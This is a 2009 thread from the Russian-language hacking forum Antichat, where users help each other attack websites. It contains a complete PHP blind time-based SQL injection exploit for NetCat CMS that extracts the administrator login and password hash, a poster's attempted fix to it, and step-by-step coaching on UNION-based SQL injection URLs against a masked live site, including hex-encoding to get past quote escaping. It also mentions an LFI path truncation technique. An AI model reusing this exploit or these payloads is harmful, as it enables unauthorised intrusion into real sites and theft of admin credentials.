ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

19.05.2009, 03:11
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Нужно, чтоб в include_path (в php.ini) хотя бы один абсолютный путь был прописан, тогда можно проэксплуатировать такой LFI. (;
add: Я это о способе проведения LFI через path truncation attack написал, если что. (:
Последний раз редактировалось cr0w; 19.05.2009 в 16:54..
|
|
|

19.05.2009, 17:46
|
|
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
Провел на форуме: 461696
Репутация:
40
|
|
Народ помогите.
Есть движок NetCat CMS. Версия предположительно 3.0
Есть SQL-inj, которая позволяет вытащить логин/пасс админа посимвольным перебором.
Есть сплоит.
Для работы нужно PECL_HTTP
PHP код:
<?
/*
AIST NetCat Blind SQL Injection exploit by s4avrd0w [s4avrd0w@p0c.ru]
Versions affected <= 3.12
More info: http://www.netcat.ru/
* tested on version 3.0, 3.12
usage:
# ./NetCat_blind_SQL_exploit.php -s=NetCat_server -u=User_ID
The options are required:
-u The user identifier (number in table)
-s Target for exploiting
example:
# ./NetCat_blind_SQL_exploit.php -s=http://localhost/netcat/ -u=2
[+] Phase 1 brute login.
[+] Brute 1 symbol...
...........a
[+] Brute 2 symbol...
..............d
[+] Brute 3 symbol...
.......................m
[+] Brute 4 symbol...
...................i
[+] Brute 5 symbol...
........................n
[+] Brute 6 symbol...
.....................................
[+] Phase 1 successfully finished: admin
[+] Phase 2 brute password-hash.
[+] Brute 1 symbol...
*
[+] Brute 2 symbol...
.0
[+] Brute 3 symbol...
.0
[+] Brute N symbol...
<...>
[+] Brute 42 symbol...
.....................................
[+] Phase 2 successfully finished: *00a51f3f48415c7d4e8908980d443c29c69b60c9
[+] Exploiting is finished successfully
[+] Login - admin
[+] MySQL hash - *00a51f3f48415c7d4e8908980d443c29c69b60c9
[+] Decrypt MySQL hash and login into NetCat CMS.
*/
function http_connect($query)
{
global $server;
$headers = array(
'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14',
'Referer' => $server
);
$res_http = new HttpRequest($server."modules/poll/?cc=62&PollID=1".$query, HttpRequest::METH_GET);
$res_http->addHeaders($headers);
$t = mktime();
try {
$response = $res_http->send()->getBody();
$t = mktime() - $t;
if ($t > 4)
{
return 1;
}
else
{
return 0;
}
} catch (HttpException $exception) {
print "[-] Not connected";
exit(0);
}
}
function brute($User_id,$table)
{
$ret_str = "";
if ($table == "Password")
{
$b_str = "*1234567890abcdef";
}
else
{
$b_str = "1abcdefghijklmnopqrstuvwxyz_234567890 !'#%&()*+,-./:;<=>?@[\]^{|}~абвгдежзийклмнопрстуфхцчшщъыьэюяё";
}
$b_arr = str_split($b_str);
for ($i=1;$i<43;$i++)
{
print "[+] Brute $i symbol...\n";
for ($j=0;$j<count($b_arr);$j++)
{
$brute = ord($b_arr[$j]);
$q = "/**/AND/**/1=if((ASCII(lower(SUBSTRING((SELECT/**/$table/**/FROM/**/USER/**/limit/**/$User_id,1),$i,1))))=$brute,benchmark(1,benchmark(2000000,md5(now()))),0)";
if (http_connect($q))
{
$ret_str=$ret_str.$b_arr[$j];
print $b_arr[$j]."\n";
break;
}
print ".";
}
if ($j == count($b_arr)) break;
}
return $ret_str;
}
function help_argc($script_name)
{
print "
usage:
# ./".$script_name." -s=NetCat_server -u=User_ID
The options are required:
-u The user identifier (number in table)
-s Target for exploiting
example:
# ./".$script_name." -s=http://localhost/netcat/ -u=1
[+] Phase 1 brute login.
[+] Brute 1 symbol...
..1
[+] Brute 2 symbol...
.....................................
[+] Phase 1 successfully finished: 1
[+] Phase 2 brute password-hash.
[+] Brute 1 symbol...
.....................................
[+] Phase 2 successfully finished:
[+] Exploiting is finished successfully
[+] Login - 1
[+] MySQL hash -
[+] You can login into NetCat CMS with the empty password
";
}
function successfully($login,$hash)
{
print "
[+] Exploiting is finished successfully
[+] Login - $login
[+] MySQL hash - $hash
";
if ($hash) print "[+] Decrypt MySQL hash and login into NetCat CMS.\n";
else print "[+] You can login into NetCat CMS with the empty password\n";
}
if (($argc != 3) || in_array($argv[1], array('--help', '-help', '-h', '-?')))
{
help_argc($argv[0]);
exit(0);
}
else
{
$ARG = array();
foreach ($argv as $arg) {
if (strpos($arg, '-') === 0) {
$key = substr($arg,1,1);
if (!isset($ARG[$key])) $ARG[$key] = substr($arg,3,strlen($arg));
}
}
if ($ARG[s] && $ARG[u])
{
$server = $ARG[s];
$User_id = intval($ARG[u]);
$User_id--;
print "[+] Phase 1 brute login.\n";
$login = brute($User_id,"Login");
print "\n[+] Phase 1 successfully finished: $login\n";
print "[+] Phase 2 brute password-hash.\n";
$hash = brute($User_id,"Password");
print "\n[+] Phase 2 successfully finished: $hash\n";
successfully($login,$hash);
}
else
{
help_argc($argv[0]);
exit(0);
}
}
?>
Там, как я понял специально сделали ошибки.
Я исправил так:
PHP код:
<?
...
function brute($User_id,$table) {
...
$q = "/**/AND/**/1=if((ASCII(lower(SUBSTRING((SELECT/**/$table/**/FROM/**/USER/**/WHERE/**/[B][U]User_ID=$User_id[/U][/B]/**/limit/**/0,1),$i,1))))=$brute,benchmark(1,benchmark(2000000,md5(now()))),0)";
...
}
...
function successfully($login,$hash)
{
...
// $User_id--;
...
}
?>
Но всё равно не пашет. Коннектится к хосту, пишет, что перебирает логин...................... пасс.............. и выдаёт, что всё подобрал:
логин пустой и пасс пустой.
 ((
|
|
|

19.05.2009, 19:41
|
|
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме: 329826
Репутация:
75
|
|
Делаю такой запрос:
Код HTML:
http://www.xxx.com/index.phtml?page=news&id=-1+union+select+1,2,3,4,5,column_name,7,8+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT+1,1/*
А в ответ мне дулю вот такую:
PHP код:
Error in query 2 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\' LIMIT 1,1/* and rs.status='1' and r.id=rs.id_rubric' at line 4
wtf, товарищи? что не так? Может кавычка не та? ))
|
|
|

19.05.2009, 19:44
|
|
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме: 7561206
Репутация:
1861
|
|
2 4adr0s
стоят магик_квотесы, экранируются кавычки, нужно захексить
+WHERE+TABLE_NAME=0x7573657273+limit+1,1/*
|
|
|

19.05.2009, 20:17
|
|
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме: 329826
Репутация:
75
|
|
Сообщение от Iceangel_
2 4adr0s
стоят магик_квотесы, экранируются кавычки, нужно захексить
+WHERE+TABLE_NAME=0x7573657273+limit+1,1/*
Не канает, родной
PHP код:
Error in query 2 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/* and rs.status='1' and r.id=rs.id_rubric' at line 4
и так тоже ('users')
+WHERE+TABLE_NAME= 0x27757365727327+limit+1,1/*
не канает...
|
|
|

19.05.2009, 20:23
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
4adr0s
Ты читать умеешь? А поиском пользоваться?
Переведи ошибку, или хотя-бы просто ПОСМОТРИ на неё там написано. что комментарий не тот "/*"
Точнее ошибка, возле комментария. Так поменяй его. Или дай линк, зачем это гадание нужно
Есть закреплённая тема в которой все такие вопросы собраны, они уже 200 раз задавались
|
|
|

19.05.2009, 20:54
|
|
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме: 329826
Репутация:
75
|
|
Сообщение от jokester
4adr0s
Ты читать умеешь? А поиском пользоваться?
Переведи ошибку, или хотя-бы просто ПОСМОТРИ на неё там написано. что комментарий не тот "/*"
Точнее ошибка, возле комментария. Так поменяй его. Или дай линк, зачем это гадание нужно
Насяльника! Зачем ругаися? )
Понял, все сделал. Страница открылась, но нифига не вылезло.
PHP код:
http://www.***.com/index.phtml?page=news&id=-1+union+select+1,2,3,4,5,column_name,7,8+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x27757365727327+LIMIT+1,1+--
Последний раз редактировалось 4adr0s; 19.05.2009 в 21:11..
|
|
|

19.05.2009, 20:57
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Сообщение от 4adr0s
Насяльника! Зачем ругаися? )
Понял, все сделал. Страница открылась, но нифига не вылезло.
PHP код:
http://www.***.com/index.phtml?page=news&id=-1+union+select+1,2,3,4,5,column_name,7,8+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x27757365727327+LIMIT+1,1+--
А темку мою поленился почитать, да? А там написано, что в хексе кавычки не нужны
https://forum.antichat.ru/thread104591.html
Вопрос №4
Держи
http://www.***.com/index.phtml?page=news&id=-1+union+select+column_name,2,3,4,5,6,7,8+from+INFO RMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x75736572 73+LIMIT+1,1--+
Последний раз редактировалось jokester; 19.05.2009 в 21:55..
|
|
|

19.05.2009, 21:08
|
|
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме: 329826
Репутация:
75
|
|
Сенсей, эту тему в глаза не видел, но теперь почитаю.
Т.е. все дело было в том, чтобы использовать другое поле для вывода??
|
|
|

19.05.2009, 21:25
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Сообщение от 4adr0s
Сенсей, эту тему в глаза не видел, но теперь почитаю.
Т.е. все дело было в том, чтобы использовать другое поле для вывода??
дело было в том, что когда ты искал наблицу, т.е. where table_name, ты в hex закодировал имя таблицы+', а надо без кавычек.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|